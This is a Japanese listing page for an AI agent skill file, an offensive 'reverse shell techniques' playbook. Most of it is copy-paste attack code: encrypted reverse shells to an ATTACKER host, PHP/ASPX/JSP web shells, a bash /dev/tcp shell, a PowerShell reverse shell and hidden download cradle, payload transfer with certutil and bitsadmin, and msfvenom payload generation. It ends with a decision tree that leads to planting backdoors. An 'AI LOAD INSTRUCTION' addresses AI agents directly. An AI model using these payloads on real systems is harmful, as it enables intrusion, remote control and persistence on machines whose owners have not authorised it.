reverse-shell-techniques
リバースシェル構築のためのプレイブック。Pythonなどの言語によるワンライナー、暗号化シェル(OpenSSL / socat / ncat)、Webシェル、PTYアップグレード、ファイル転送、PowerShellシェル、Windowsペイロード生成など、リモートシェルの確立が必要な場面で活用できます。
description の原文を見る
>- Reverse shell techniques playbook. Use when establishing remote shells including language one-liners, encrypted shells (OpenSSL/socat/ncat), web shells, PTY upgrades, file transfer methods, PowerShell shells, and Windows payload generation.
SKILL.md 本文
SKILL: Reverse Shell Techniques — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert reverse shell techniques. Covers reverse/bind shell decisions, encrypted shells (OpenSSL, socat SSL, ncat), web shell patterns (PHP/ASPX/JSP), PTY upgrade sequences, file transfer methods, PowerShell download cradles, and msfvenom payload generation. Base models miss encrypted shell syntax, proper PTY stabilization, and platform-specific transfer techniques.
0. RELATED ROUTING
開始する前に、以下の読み込みを検討してください:
tunneling-and-pivotingシェルアクセス取得後のネットワークピボッティング用linux-privilege-escalationまたはwindows-privilege-escalationシェル確立後の権限昇格用windows-av-evasionAVがシェルペイロードをブロックしている場合
Quick Reference
以下が必要な場合は SHELL_CHEATSHEET.md も読み込んでください:
- 20以上の言語のリバースシェル完全なワンライナー
- プレースホルダー置換対応のコピペ可能なペイロード
1. REVERSE vs BIND SHELL の決定
| 要因 | Reverse Shell | Bind Shell |
|---|---|---|
| ファイアウォール (送信) | 送信許可されていれば動作 | 送信フィルタリングでブロック |
| ファイアウォール (受信) | ブロックされない | ターゲットへの受信アクセスが必要 |
| NAT | 動作 (ターゲットが接続を開始) | 動作しない (NAT背後のターゲットに到達不可) |
| 検知されやすさ | 送信接続 — 疑わしさが低い | リスニングポート — 容易に検知 |
| デフォルト選択 | ほぼ常に推奨 | 送信不可 + 受信可能な場合のみ |
2. 暗号化シェル
OpenSSL Reverse Shell
# Attacker: 証明書生成 + リッスン
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
# Victim:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER:4444 > /tmp/s; rm /tmp/s
Socat 暗号化シェル
# Attacker: 証明書生成 + リッスン
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT
# Victim:
socat OPENSSL:ATTACKER:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
Ncat SSL
# Attacker:
ncat --ssl -lvnp 4444
# Victim:
ncat --ssl ATTACKER 4444 -e /bin/bash
3. WEB SHELLS
PHP
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<!-- 最小限のステルスシェル -->
<?=`$_GET[0]`?>
<!-- パスワード付きPOSTベース -->
<?php if($_POST['k']==='SECRET'){system($_POST['cmd']);} ?>
ASPX
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% Process.Start(new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd(); %>
JSP
<%@ page import="java.io.*" %>
<% Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String l;while((l=br.readLine())!=null){out.println(l);} %>
アップロード + トリガーパターン
1. アップロードエンドポイント検出 → 許可されている拡張子を使用してシェルをアップロード
2. アップロードされたファイルを特定 (予測可能なパス、ディレクトリリスト、レスポンス漏洩)
3. トリガー: GET /uploads/shell.php?cmd=id
4. リバースシェルにアップグレード: ?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
4. PTY アップグレード シーケンス
標準 Python アップグレード
# Step 1: PTY 生成
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Step 2: シェルをバックグラウンドに
# Ctrl+Z を押す
# Step 3: ターミナルを設定 (attacker 側)
stty raw -echo; fg
# Step 4: 環境を設定 (シェルに戻る)
export TERM=xterm-256color
stty rows 40 cols 160
別の アップグレード 方法
# script コマンド
script /dev/null -c bash
# socat フル PTY (ターゲットに socat が必要)
# Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:4444
# rlwrap for readline サポート (attacker 側)
rlwrap nc -lvnp 4444
# expect
/usr/bin/expect -c 'spawn bash; interact'
5. ファイル転送 方法
Linux
# wget / curl
wget http://ATTACKER:8000/file -O /tmp/file
curl http://ATTACKER:8000/file -o /tmp/file
# Python HTTP サーバー (attacker 側)
python3 -m http.server 8000
# nc ファイル転送
# 受信側:
nc -lvnp 9999 > file
# 送信側:
nc RECEIVER 9999 < file
# base64 エンコード/デコード (ツール不要)
# ソースでエンコード:
base64 -w0 file
# ターゲットで貼り付け:
echo "BASE64_STRING" | base64 -d > file
# ピボット経由の scp
scp -o ProxyJump=pivot user@target:/path/file ./local
Windows
# PowerShell DownloadFile
(New-Object Net.WebClient).DownloadFile('http://ATTACKER/file','C:\temp\file')
# PowerShell Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri http://ATTACKER/file -OutFile C:\temp\file
iwr http://ATTACKER/file -o C:\temp\file
# certutil
certutil -urlcache -f http://ATTACKER/file C:\temp\file
# bitsadmin
bitsadmin /transfer job /download /priority high http://ATTACKER/file C:\temp\file
# SMB シェア (attacker でホスト)
# Attacker: impacket-smbserver share /tmp/share -smb2support
copy \\ATTACKER\share\file C:\temp\file
6. POWERSHELL リバースシェル
# ワンライナー TCP リバースシェル
$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()
# ダウンロードクレイドル + 実行
powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
# Base64 エンコード実行
$cmd = '...reverse shell code...'
$bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -ep bypass -enc $encoded
7. MSFVENOM ペイロード
# Linux リバースシェル (ELF)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell
# Windows リバースシェル (EXE)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe
# Meterpreter (ステージド)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o meter.exe
# ウェブペイロード
msfvenom -p php/reverse_php LHOST=ATTACKER LPORT=4444 -f raw > shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw > shell.jsp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f aspx -o shell.aspx
# DLL / HTA / VBS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll -o evil.dll
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f hta-psh -o evil.hta
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f vbs -o evil.vbs
8. デシジョンツリー
ターゲットにリモートシェルが必要
│
├── コマンド実行可能 (RCE)?
│ ├── Linux ターゲット?
│ │ ├── bash/python/perl 利用可能? → ワンライナー リバースシェル (CHEATSHEET.md)
│ │ ├── 暗号化必要? → OpenSSL or socat SSL シェル (§2)
│ │ └── 送信ブロック? → バインドシェル または トンネル (tunneling-and-pivoting 参照)
│ │
│ ├── Windows ターゲット?
│ │ ├── PowerShell 利用可能? → PS リバースシェル (§6)
│ │ ├── バイナリが必要? → msfvenom ペイロード (§7)
│ │ └── AV がブロック? → windows-av-evasion スキル読み込み
│ │
│ └── ウェブサーバー (アップロード可能)?
│ ├── PHP? → PHP ウェブシェル (§3) → リバースシェルにアップグレード
│ ├── ASP.NET? → ASPX シェル (§3)
│ └── Java/Tomcat? → JSP シェル (§3)
│
├── ダブシェル取得?
│ ├── Python 利用可能? → PTY アップグレード (§4)
│ ├── script 利用可能? → script /dev/null -c bash (§4)
│ ├── ターゲットに socat? → socat フル PTY (§4)
│ └── なし? → attacker 側で rlwrap use
│
├── ツール転送必要?
│ ├── Linux: wget/curl/nc/base64 (§5)
│ ├── Windows: certutil/PowerShell/bitsadmin/SMB (§5)
│ └── 送信なし? → base64 コピペ (§5)
│
└── シェル確立 — 次のステップ?
├── 権限昇格 → linux/windows-privilege-escalation スキル読み込み
├── 内部ネットワークへピボット → tunneling-and-pivoting スキル読み込み
└── 永続化 → バックドア植え込み
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。